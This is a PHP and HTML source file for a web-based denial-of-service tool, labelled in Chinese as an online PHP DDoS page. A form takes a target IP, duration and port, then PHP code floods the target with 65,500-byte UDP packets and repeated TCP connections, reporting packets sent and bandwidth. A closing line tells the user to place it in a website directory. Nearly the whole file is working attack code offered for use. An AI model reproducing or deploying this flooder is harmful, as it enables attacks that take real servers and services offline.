<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="author" content="">
<title>在线PHPDDOS </title>
</head>
<!-- PHP DOS, coded by Scratch Linux -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by Scratch Linux -->
<body>
<center><br><br>
<img src="http://tool.cccyun.cc/tool/ddos/main.jpg"><br>
<b>您的IP:</b> <font color="red"><?php
if(getenv('HTTP_CLIENT_IP')){
$onlineip = getenv('HTTP_CLIENT_IP');
}
elseif(getenv('HTTP_X_FORWARDED_FOR')){
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif(getenv('REMOTE_ADDR')){
$onlineip = getenv('REMOTE_ADDR');
}
else{
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
echo $onlineip;
?></font> (请不要随意ddos)<br><br>
<form name="input" action="mosi.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
时间:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "时间/秒" onblur = "if ( this.value=='' ) this.value = '时间/秒';" onfocus = " if ( this.value == '时间/秒' ) this.value = '';">
端口:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "端口" onblur = "if ( this.value=='' ) this.value = '端口';" onfocus = " if ( this.value == '端口' ) this.value = '';">
<br><br>
<input type="submit" value="开始攻击">
<br><br>
<center>
如果正在DDOS中,请等待页面加载完成...
</center>
</form>
</center>
<!-- PHP DOS, coded by Scratch Linux -->
</body>
</html>
<?php
$packets = 0;
$ip = $_POST['ip']; //IP
$rand = $_POST['port']; //端口
set_time_limit(0); //时间
ignore_user_abort(FALSE); //持久攻击
$exec_time = $_POST['time'];
$time = time();
print "Flooded:$ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65500;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() >$max_time){
break;
}
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packe
ts (".round(($packets*65)/1024,2) ." mB) \n";
;echo '
';
ini_set("display_errors","Off");
$packets = 0;
$ipb = $_POST['ipb'];
$portb = $_POST['portb'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['timeb'];
$time = time();
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() >$max_time){
break;
}
$fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0);
}
echo "<br />\n";
echo "<br />\n";
echo "-";
echo "<br />\n";
echo " zgs ".$packets."g";
echo "<br />\n";
echo "<br />\n";
echo " zll ".round(($packets*74*8)/(1024*1024),2)."Mbps";
echo "<br />\n";
echo "-";
echo "<br />\n";
?>
把源码放在网站目录载入即可